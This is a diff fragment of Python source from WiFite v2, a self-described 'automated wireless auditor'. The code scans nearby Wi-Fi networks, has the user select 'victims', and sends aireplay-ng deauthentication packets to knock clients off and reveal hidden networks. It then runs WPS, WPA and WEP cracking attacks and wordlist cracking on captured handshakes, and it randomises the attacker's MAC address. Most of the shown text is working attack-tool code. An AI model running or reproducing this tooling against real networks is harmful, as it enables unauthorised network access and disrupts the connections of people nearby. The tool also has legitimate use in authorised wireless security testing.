+ i = 0 + before_count = len(targets) + while i < len(targets): + if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER: + targets.pop(i) + else: + i += 1 + print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \ + (G + str(before_count - len(targets)) + W, + self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W) + stop_scanning = True + + if stop_scanning: break + + # If there are unknown SSIDs, send deauths to them. + if self.RUN_CONFIG.SEND_DEAUTHS and channel != 0 and time.time() - deauth_sent > 5: + deauth_sent = time.time() + for t in targets: + if t.ssid == '': + print "\r %s deauthing hidden access point (%s) \r" % \ + (GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W), + stdout.flush() + # Time to deauth + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), + '-a', t.bssid] + for c in clients: + if c.station == t.bssid: + cmd.append('-c') + cmd.append(c.bssid) + break + cmd.append(iface) + proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) + proc_aireplay.wait() + time.sleep(0.5) + else: + for ot in old_targets: + if ot.ssid == '' and ot.bssid == t.bssid: + print '\r %s successfully decloaked "%s" ' % \ + (GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W) + + old_targets = targets[:] + if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0: + targets = sorted(targets, key=lambda t: t.power, reverse=True) + if not self.RUN_CONFIG.WPS_DISABLE: + wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False) + + os.system('clear') + print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n' + print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ( + 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') + print ' --- -------------------- %s-- ---- ----- ---- ------' % ( + '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') + for i, target in enumerate(targets): + print " %s%2d%s " % (G, i + 1, W), + # SSID + if target.ssid == '': + p = O + '(' + target.bssid + ')' + GR + ' ' + W + print '%s' % p.ljust(20), + elif ( target.ssid.count('\x00') == len(target.ssid) ): + p = '' + print '%s' % C + p.ljust(20) + W, + elif len(target.ssid) <= 20: + print "%s" % C + target.ssid.ljust(20) + W, + else: + print "%s" % C + target.ssid[0:17] + '...' + W, + # BSSID + if self.RUN_CONFIG.SHOW_MAC_IN_SCAN: + print O, target.bssid + W, + # Channel + print G + target.channel.rjust(3), W, + # Encryption + if target.encryption.find("WEP") != -1: + print G, + else: + print O, + print "\b%3s" % target.encryption.strip().ljust(4) + W, + # Power + if target.power >= 55: + col = G + elif target.power >= 40: + col = O + else: + col = R + print "%s%3ddb%s" % (col, target.power, W), + # WPS + if self.RUN_CONFIG.WPS_DISABLE: + print " %3s" % (O + 'n/a' + W), + else: + print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W), + # Clients + client_text = '' + for c in clients: + if c.station == target.bssid: + if client_text == '': + client_text = 'client' + elif client_text[-1] != "s": + client_text += "s" + if client_text != '': + print ' %s' % (G + client_text + W) + else: + print '' + print '' + print ' %s %s wireless networks. %s target%s and %s client%s found \r' % ( + GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W, + G + str(len(targets)) + W, '' if len(targets) == 1 else 's', + G + str(len(clients)) + W, '' if len(clients) == 1 else 's'), + + stdout.flush() + except KeyboardInterrupt: + pass + print '' + + send_interrupt(proc) + try: + os.kill(proc.pid, SIGTERM) + except OSError: + pass + except UnboundLocalError: + pass + + # Use "wash" program to check for WPS compatibility + if not self.RUN_CONFIG.WPS_DISABLE: + wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap') + + remove_airodump_files(self.RUN_CONFIG.temp + 'wifite') + + if stop_scanning: + return (targets, clients) + print '' + + if len(targets) == 0: + print R + ' [!]' + O + ' no targets found!' + W + print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W + print '' + self.RUN_CONFIG.exit_gracefully(1) + + if self.RUN_CONFIG.VERBOSE_APS: os.system('clear') + + # Sort by Power + targets = sorted(targets, key=lambda t: t.power, reverse=True) + + victims = [] + print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ( + 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') + print ' --- -------------------- %s-- ---- ----- ---- ------' % ( + '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') + for i, target in enumerate(targets): + print " %s%2d%s " % (G, i + 1, W), + # SSID + if target.ssid == '': + p = O + '(' + target.bssid + ')' + GR + ' ' + W + print '%s' % p.ljust(20), + elif ( target.ssid.count('\x00') == len(target.ssid) ): + p = '' + print '%s' % C + p.ljust(20) + W, + elif len(target.ssid) <= 20: + print "%s" % C + target.ssid.ljust(20) + W, + else: + print "%s" % C + target.ssid[0:17] + '...' + W, + # BSSID + if self.RUN_CONFIG.SHOW_MAC_IN_SCAN: + print O, target.bssid + W, + # Channel + print G + target.channel.rjust(3), W, + # Encryption + if target.encryption.find("WEP") != -1: + print G, + else: + print O, + print "\b%3s" % target.encryption.strip().ljust(4) + W, + # Power + if target.power >= 55: + col = G + elif target.power >= 40: + col = O + else: + col = R + print "%s%3ddb%s" % (col, target.power, W), + # WPS + if self.RUN_CONFIG.WPS_DISABLE: + print " %3s" % (O + 'n/a' + W), + else: + print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W), + # Clients + client_text = '' + for c in clients: + if c.station == target.bssid: + if client_text == '': + client_text = 'client' + elif client_text[-1] != "s": + client_text += "s" + if client_text != '': + print ' %s' % (G + client_text + W) + else: + print '' + + ri = raw_input( + GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \ + " separated by commas, or '%s': " % (G + 'all' + W)) + if ri.strip().lower() == 'all': + victims = targets[:] + else: + for r in ri.split(','): + r = r.strip() + if r.find('-') != -1: + (sx, sy) = r.split('-') + if sx.isdigit() and sy.isdigit(): + x = int(sx) + y = int(sy) + 1 + for v in xrange(x, y): + victims.append(targets[v - 1]) + elif not r.isdigit() and r.strip() != '': + print O + " [!]" + R + " not a number: %s " % (O + r + W) + elif r != '': + victims.append(targets[int(r) - 1]) + + if len(victims) == 0: + print O + '\n [!] ' + R + 'no targets selected.\n' + W + self.RUN_CONFIG.exit_gracefully(0) + + print '' + print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's') + + return (victims, clients) + + def Start(self): + self.RUN_CONFIG.CreateTempFolder() + self.RUN_CONFIG.handle_args() + self.RUN_CONFIG.ConfirmRunningAsRoot() + self.RUN_CONFIG.ConfirmCorrectPlatform() + + self.initial_check() # Ensure required programs are installed. + + # Use an interface already in monitor mode if it has been provided, + if self.RUN_CONFIG.MONITOR_IFACE != '': + iface = self.RUN_CONFIG.MONITOR_IFACE + else: + # The "get_iface" method anonymizes the MAC address (if needed) + # and puts the interface into monitor mode. + iface = self.get_iface() + self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address + + (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL) + + try: + index = 0 + while index < len(targets): + target = targets[index] + # Check if we have already cracked this target + for already in RUN_CONFIG.CRACKED_TARGETS: + if already.bssid == targets[index].bssid: + if RUN_CONFIG.SHOW_ALREADY_CRACKED == True: + print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W + print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"') + ri = raw_input( + GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ') + if ri.lower() == 'n': + targets.pop(index) + index -= 1 + else: + targets.pop(index) + index -= 1 + break + + # Check if handshakes already exist, ask user whether to skip targets or save new handshakes + handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \ + + '_' + target.bssid.replace(':', '-') + '.cap' + if os.path.exists(handshake_file): + print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W) + print ' %s\n' % (G + handshake_file + W) + print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?' + ri = 'x' + while ri != 's' and ri != 'c' and ri != 'o': + ri = raw_input( + GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower() + print W + "\b", + if ri == 's': + targets.pop(index) + index -= 1 + elif ri == 'o': + remove_file(handshake_file) + continue + index += 1 + + + except KeyboardInterrupt: + print '\n ' + R + '(^C)' + O + ' interrupted\n' + self.RUN_CONFIG.exit_gracefully(0) + + wpa_success = 0 + wep_success = 0 + wpa_total = 0 + wep_total = 0 + + self.RUN_CONFIG.TARGETS_REMAINING = len(targets) + for t in targets: + self.RUN_CONFIG.TARGETS_REMAINING -= 1 + + # Build list of clients connected to target + ts_clients = [] + for c in clients: + if c.station == t.bssid: + ts_clients.append(c) + + print '' + if t.encryption.find('WPA') != -1: + need_handshake = True + if not self.RUN_CONFIG.WPS_DISABLE and t.wps: + wps_attack = WPSAttack(iface, t, self.RUN_CONFIG) + need_handshake = not wps_attack.RunAttack() + wpa_total += 1 + + if not need_handshake: wpa_success += 1 + if self.RUN_CONFIG.TARGETS_REMAINING < 0: break + + if not self.RUN_CONFIG.PIXIE and not self.RUN_CONFIG.WPA_DISABLE and need_handshake: + wpa_total += 1 + wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG) + if wpa_attack.RunAttack(): + wpa_success += 1 + + elif t.encryption.find('WEP') != -1: + wep_total += 1 + wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG) + if wep_attack.RunAttack(): + wep_success += 1 + + else: + print R + ' unknown encryption:', t.encryption, W + + # If user wants to stop attacking + if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break + + if wpa_total + wep_total > 0: + # Attacks are done! Show results to user + print '' + print GR + ' [+] %s%d attack%s completed:%s' % ( + G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W) + print '' + if wpa_total > 0: + if wpa_success == 0: + print GR + ' [+]' + R, + elif wpa_success == wpa_total: + print GR + ' [+]' + G, + else: + print GR + ' [+]' + O, + print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W) + + for finding in self.RUN_CONFIG.WPA_FINDINGS: + print ' ' + C + finding + W + + if wep_total > 0: + if wep_success == 0: + print GR + ' [+]' + R, + elif wep_success == wep_total: + print GR + ' [+]' + G, + else: + print GR + ' [+]' + O, + print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W) + + for finding in self.RUN_CONFIG.WEP_FINDINGS: + print ' ' + C + finding + W + + caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK) + if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK: + print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % ( + G, caps, W if caps == 1 else 's' + W) + for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK: + wpa_crack(cap, self.RUN_CONFIG) + + print '' + self.RUN_CONFIG.exit_gracefully(0) + + def parse_csv(self, filename): + """ + Parses given lines from airodump-ng CSV file. + Returns tuple: List of targets and list of clients. + """ + if not os.path.exists(filename): return ([], []) + targets = [] + clients = [] + try: + hit_clients = False + with open(filename, 'rb') as csvfile: + targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',') + for row in targetreader: + if len(row) < 2: + continue + if not hit_clients: + if row[0].strip() == 'Station MAC': + hit_clients = True + continue + if len(row) < 14: + continue + if row[0].strip() == 'BSSID': + continue + enc = row[5].strip() + wps = False + # Ignore non-WPA and non-WEP encryption + if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue + if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue + if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find( + 'WPA') != -1: continue + if enc == "WPA2WPA" or enc == "WPA2 WPA": + enc = "WPA2" + wps = True + if len(enc) > 4: + enc = enc[4:].strip() + power = int(row[8].strip()) + + ssid = row[13].strip() + ssidlen = int(row[12].strip()) + ssid = ssid[:ssidlen] + + if power < 0: power += 100 + t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid) + t.wps = wps + targets.append(t) + else: + if len(row) < 6: + continue + bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip()) + station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip()) + power = row[3].strip() + if station != 'notassociated': + c = Client(bssid, station, power) + clients.append(c) + except IOError as e: + print "I/O error({0}): {1}".format(e.errno, e.strerror) + return ([], []) + + return (targets, clients) + + def analyze_capfile(self, capfile): + """ + Analyzes given capfile for handshakes using various programs. + Prints results to console. + """ + # we're not running an attack + wpa_attack = WPAAttack(None, None, None, None) + + if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '': + print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes' + print R + ' [!]' + O + ' please enter essid (access point name) using -e ' + print R + ' [!]' + O + ' and/or target bssid (mac address) using -b \n' + # exit_gracefully(1) + + if self.RUN_CONFIG.TARGET_BSSID == '': + # Get the first BSSID found in tshark! + self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile) + # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == '' + if self.RUN_CONFIG.TARGET_BSSID == '': + print R + ' [!]' + O + ' unable to guess BSSID from ESSID!' + else: + print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W) + + if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '': + self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile) + + print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W) + + t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID) + + if program_exists('pyrit'): + result = wpa_attack.has_handshake_pyrit(t, capfile) + print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W) + else: + print R + ' [!]' + O + ' program not found: pyrit' + if program_exists('cowpatty'): + result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True) + print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W) + result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False) + print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W) + else: + print R + ' [!]' + O + ' program not found: cowpatty' + if program_exists('tshark'): + result = wpa_attack.has_handshake_tshark(t, capfile) + print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W) + else: + print R + ' [!]' + O + ' program not found: tshark' + if program_exists('aircrack-ng'): + result = wpa_attack.has_handshake_aircrack(t, capfile) + print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W) + else: + print R + ' [!]' + O + ' program not found: aircrack-ng' + + print '' + + self.RUN_CONFIG.exit_gracefully(0) + + +################## +# MAIN FUNCTIONS # +################## + +############################################################## +### End Classes + +def rename(old, new): + """ + Renames file 'old' to 'new', works with separate partitions. + Thanks to hannan.sadar + """ + try: + os.rename(old, new) + except os.error, detail: + if detail.errno == errno.EXDEV: + try: + copy(old, new) + except: + os.unlink(new) + raise + os.unlink(old) + # if desired, deal with other errors + else: + raise + + +def banner(RUN_CONFIG): + """ + Displays ASCII art of the highest caliber. + """ + print '' + print G + " .;' `;, " + print G + " .;' ,;' `;, `;, " + W + "WiFite v2 (r" + str(RUN_CONFIG.REVISION) + ")" + print G + ".;' ,;' ,;' `;, `;, `;, " + print G + ":: :: : " + GR + "( )" + G + " : :: :: " + GR + "automated wireless auditor" + print G + "':. ':. ':. " + GR + "/_\\" + G + " ,:' ,:' ,:' " + print G + " ':. ':. " + GR + "/___\\" + G + " ,:' ,:' " + GR + "designed for Linux" + print G + " ':. " + GR + "/_____\\" + G + " ,:' " + print G + " " + GR + "/ \\" + G + " " + print W + + +def get_revision(): + """ + Gets latest revision # from the GitHub repository + Returns : revision# + """ + irev = -1 + + try: + sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py') + page = sock.read() + except IOError: + return (-1, '', '') + + # get the revision + start = page.find('REVISION = ') + stop = page.find(";", start) + if start != -1 and stop != -1: + start += 11 + rev = page[start:stop] + try: + irev = int(rev) + except ValueError: + rev = rev.split('\n')[0] + print R + '[+] invalid revision number: "' + rev + '"' + + return irev + + +def help(): + """ + Prints help screen + """ + + head = W + sw = G + var = GR + des = W + de = G + + print head + ' COMMANDS' + W + print sw + '\t-check ' + var + '\t' + des + 'check capfile ' + var + '' + des + ' for handshakes.' + W + print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W + print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W + print '' + + print head + ' GLOBAL' + W + print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W + #print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W + print sw + '\t-i ' + var + ' \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W + print sw + '\t-mon-iface ' + var + ' \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W + print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W + print sw + '\t-c ' + var + '\t' + des + 'channel to scan for targets ' + de + '[auto]' + W + print sw + '\t-e ' + var + ' \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W + print sw + '\t-b ' + var + ' \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W + print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W + print sw + '\t-pow ' + var + ' \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W + print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W + print '' + + print head + '\n WPA' + W + print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W + print sw + '\t-wpat ' + var + ' \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W + print sw + '\t-wpadt ' + var + ' \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W + print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W + print sw + '\t-crack ' + var + '\t' + des + 'crack WPA handshakes using ' + var + '' + des + ' wordlist file ' + de + '[off]' + W + print sw + '\t-dict ' + var + '\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W + print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W + print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W + print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W + print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W + + print head + '\n WEP' + W + print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W + print sw + '\t-pps ' + var + ' \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W + print sw + '\t-wept ' + var + ' \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W + print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W + print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W + print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W + print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W + print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W + print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W + print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W + print sw + '\t-wepca ' + GR + ' \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W + print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W + + print head + '\n WPS' + W + print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W + print sw + '\t-wpst ' + var + ' \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W + print sw + '\t-wpsratio ' + var + '\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W + print sw + '\t-wpsretry ' + var + '\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W + + print head + '\n EXAMPLE' + W + print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W + print '' + + +########################### +# WIRELESS CARD FUNCTIONS # +########################### + + + + +###################### +# SCANNING FUNCTIONS # +###################### + + + + + +def wps_check_targets(targets, cap_file, verbose=True): + """ + Uses reaver's "walsh" (or wash) program to check access points in cap_file + for WPS functionality. Sets "wps" field of targets that match to True. + """ + global RUN_CONFIG + + if not program_exists('walsh') and not program_exists('wash'): + RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh + return + program_name = 'walsh' if program_exists('walsh') else 'wash' + + if len(targets) == 0 or not os.path.exists(cap_file): return + if verbose: + print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...', + stdout.flush() + + cmd = [program_name, + '-f', cap_file, + '-C'] # ignore Frame Check Sum errors + proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN) + proc_walsh.wait() + for line in proc_walsh.communicate()[0].split('\n'): + if line.strip() == '' or line.startswith('Scanning for'): continue + bssid = line.split(' ')[0] + + for t in targets: + if t.bssid.lower() == bssid.lower(): + t.wps = True + if verbose: + print 'done' + removed = 0 + if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE: + i = 0 + while i < len(targets): + if not targets[i].wps and targets[i].encryption.find('WPA') != -1: + removed += 1 + targets.pop(i) + else: + i += 1 + if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W) + + +def print_and_exec(cmd): + """ + Prints and executes command "cmd". Also waits half a second + Used by rtl8187_fix (for prettiness) + """ + print '\r \r', + stdout.flush() + print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W, + stdout.flush() + call(cmd, stdout=DN, stderr=DN) + time.sleep(0.1) + + +#################### +# HELPER FUNCTIONS # +#################### + +def remove_airodump_files(prefix): + """ + Removes airodump output files for whatever file prefix ('wpa', 'wep', etc) + Used by wpa_get_handshake() and attack_wep() + """ + global RUN_CONFIG + remove_file(prefix + '-01.cap') + remove_file(prefix + '-01.csv') + remove_file(prefix + '-01.kismet.csv') + remove_file(prefix + '-01.kismet.netxml') + for filename in os.listdir(RUN_CONFIG.temp): + if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename) + for filename in os.listdir('.'): + if filename.startswith('replay_') and filename.endswith('.cap'): + remove_file(filename) + if filename.endswith('.xor'): remove_file(filename) + # Remove .cap's from previous attack sessions + """i = 2 + while os.path.exists(temp + 'wep-' + str(i) + '.cap'): + os.remove(temp + 'wep-' + str(i) + '.cap') + i += 1 + """ + + +def remove_file(filename): + """ + Attempts to remove a file. Does not throw error if file is not found. + """ + try: + os.remove(filename) + except OSError: + pass + + +def program_exists(program): + """ + Uses 'which' (linux command) to check if a program is installed. + """ + + proc = Popen(['which', program], stdout=PIPE, stderr=PIPE) + txt = proc.communicate() + if txt[0].strip() == '' and txt[1].strip() == '': + return False + if txt[0].strip() != '' and txt[1].strip() == '': + return True + + return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1) + + +def sec_to_hms(sec): + """ + Converts integer sec to h:mm:ss format + """ + if sec <= -1: return '[endless]' + h = sec / 3600 + sec %= 3600 + m = sec / 60 + sec %= 60 + return '[%d:%02d:%02d]' % (h, m, sec) + + +def send_interrupt(process): + """ + Sends interrupt signal to process's PID. + """ + try: + os.kill(process.pid, SIGINT) + # os.kill(process.pid, SIGTERM) + except OSError: + pass # process cannot be killed + except TypeError: + pass # pid is incorrect type + except UnboundLocalError: + pass # 'process' is not defined + except AttributeError: + pass # Trying to kill "None" + + +def get_mac_address(iface): + """ + Returns MAC address of "iface". + """ + proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN) + proc.wait() + mac = '' + first_line = proc.communicate()[0].split('\n')[0] + for word in first_line.split(' '): + if word != '': mac = word + if mac.find('-') != -1: mac = mac.replace('-', ':') + if len(mac) > 17: mac = mac[0:17] + return mac + + +def generate_random_mac(old_mac): + """ + Generates a random MAC address. + Keeps the same vender (first 6 chars) of the old MAC address (old_mac). + Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex + """ + random.seed() + new_mac = old_mac[:8].lower().replace('-', ':') + for i in xrange(0, 6): + if i % 2 == 0: new_mac += ':' + new_mac += '0123456789abcdef'[random.randint(0, 15)] + + # Prevent generating the same MAC address via recursion. + if new_mac == old_mac: + new_mac = generate_random_mac(old_mac) + return new_mac + + +def mac_anonymize(iface): + """ + Changes MAC address of 'iface' to a random MAC. + Only randomizes the last 6 digits of the MAC, so the vender says the same. + Stores old MAC address and the interface in ORIGINAL_IFACE_MAC + """ + global RUN_CONFIG + if RUN_CONFIG.DO_NOT_CHANGE_MAC: return + if not program_exists('ifconfig'): return + + # Store old (current) MAC address + proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN) + proc.wait() + for word in proc.communicate()[0].split('\n')[0].split(' '): + if word != '': old_mac = word + RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac) + + new_mac = generate_random_mac(old_mac) + + call(['ifconfig', iface, 'down']) + + print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W), + stdout.flush() + + proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN) + proc.wait() + call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN) + print 'done' + + +def mac_change_back(): + """ + Changes MAC address back to what it was before attacks began. + """ + global RUN_CONFIG + iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0] + old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1] + if iface == '' or old_mac == '': return + + print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W), + stdout.flush() + + call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN) + proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN) + proc.wait() + call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN) + print "done" + + +def get_essid_from_cap(bssid, capfile): + """ + Attempts to get ESSID from cap file using BSSID as reference. + Returns '' if not found. + """ + if not program_exists('tshark'): return '' + + cmd = ['tshark', + '-r', capfile, + '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid, + '-n'] + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() + for line in proc.communicate()[0].split('\n'): + if line.find('SSID=') != -1: + essid = line[line.find('SSID=') + 5:] + print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W) + return essid + print R + ' [!]' + O + ' unable to guess essid!' + W + return '' + + +def get_bssid_from_cap(essid, capfile): + """ + Returns first BSSID of access point found in cap file. + This is not accurate at all, but it's a good guess. + Returns '' if not found. + """ + global RUN_CONFIG + + if not program_exists('tshark'): return '' + + # Attempt to get BSSID based on ESSID + if essid != '': + cmd = ['tshark', + '-r', capfile, + '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid), + '-n', # Do not resolve MAC vendor names + '-T', 'fields', # Only display certain fields + '-e', 'wlan.sa'] # souce MAC address + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() + bssid = proc.communicate()[0].split('\n')[0] + if bssid != '': return bssid + + cmd = ['tshark', + '-r', capfile, + '-R', 'eapol', + '-n'] + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() + for line in proc.communicate()[0].split('\n'): + if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'): + while line.startswith(' ') or line.startswith('\t'): line = line[1:] + line = line.replace('\t', ' ') + while line.find(' ') != -1: line = line.replace(' ', ' ') + return line.split(' ')[2] + elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'): + while line.startswith(' ') or line.startswith('\t'): line = line[1:] + line = line.replace('\t', ' ') + while line.find(' ') != -1: line = line.replace(' ', ' ') + return line.split(' ')[4] + return '' + + +def attack_interrupted_prompt(): + """ + Promps user to decide if they want to exit, + skip to cracking WPA handshakes, + or continue attacking the remaining targets (if applicable). + returns True if user chose to exit complete, False otherwise + """ + global RUN_CONFIG + should_we_exit = False + # If there are more targets to attack, ask what to do next + if RUN_CONFIG.TARGETS_REMAINING > 0: + options = '' + print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W, + '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's', + 's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '') + print GR + " [+]" + W + " what do you want to do?" + 